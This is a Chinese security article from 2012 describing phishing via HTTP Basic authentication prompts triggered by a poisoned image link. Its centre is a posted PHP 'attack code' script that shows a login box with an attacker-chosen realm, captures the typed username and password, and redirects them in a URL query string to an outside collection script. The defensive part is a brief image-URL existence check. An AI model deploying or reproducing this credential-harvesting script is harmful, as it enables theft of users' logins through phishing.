科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道网络安全基础认证钓鱼攻击与防范

基础认证钓鱼攻击与防范

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

首先大家回想一下,在访问路由器的时候是不是会弹出这样的一个弹窗让你输入帐号密码登录呢?没错,这就是最近很火的基础认证。那我们如何用php来实现钓鱼攻击呢?

来源:51CTO 2012年12月6日

关键字: 钓鱼攻击 基础认证

  • 评论
  • 分享微博
  • 分享邮件

首先大家回想一下,在访问路由器的时候是不是会弹出这样的一个弹窗让你输入帐号密码登录呢?没错,这就是最近很火的基础认证。那我们如何用php来实现钓鱼攻击呢?

在php手册中有以下代码来演示基础认证登录。

if (!isset($_SERVER['PHP_AUTH_USER'])) {

header('WWW-Authenticate: Basic realm="My Realm"');

header('HTTP/1.0 401 Unauthorized');

echo 'Text to send if user hits Cancel button';

exit;

} else {

echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";

echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";

}

首先定义HTTP头为WWW-Authenticate,然后相应为401 这样就可以构造一个简单的基础认证框。

基本流程,用户访问被污染服务器,服务器返回信息,浏览器访问图片地址,图片服务器返回401响应,http头为WWW-Authenticate ..... ,浏览器弹出基础认证框, 由于Location:被定义为收信地址所以,浏览器跳转并转递信息至收信地址。 攻击完成。

贴出攻击代码吧。

<?php

$info=@$_GET['info'];

if(!isset($_SERVER['PHP_AUTH_USER'])){

header("WWW-Authenticate:BASIC Realm=$info");

header("HTTP/1.0 401 Unauthorized");

exit;

}else{

/*获取用户名,密码进行验证*/

$user=$_SERVER['PHP_AUTH_USER'];

$pwd=$_SERVER['PHP_AUTH_PW'];

extract($_GET,EXTR_SKIP);

if($user&&$pwd){

header("Location:http://www.baidu.com/config/log.php?user=$user&pass=$pwd");

}else{

header("WWW-Authenticate:BASIC Realm=user");

header("HTTP/1.0 401 Unauthorized");

exit;

}

}

?>

防范措施:

由于这种攻击并不是由漏洞造成的所以我们的防范手法只能去确定图片地址是否为有效图片。

我们可以用以下代码来验证图片是否有效!

<?php

$url = 'http:// www.2cto.com /img/baidu_sylogo1.gif';

if( @fopen( $url, 'r' ) )

{

echo 'File Exits';

}

else

{

echo 'File Do Not Exits';

}

?>

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章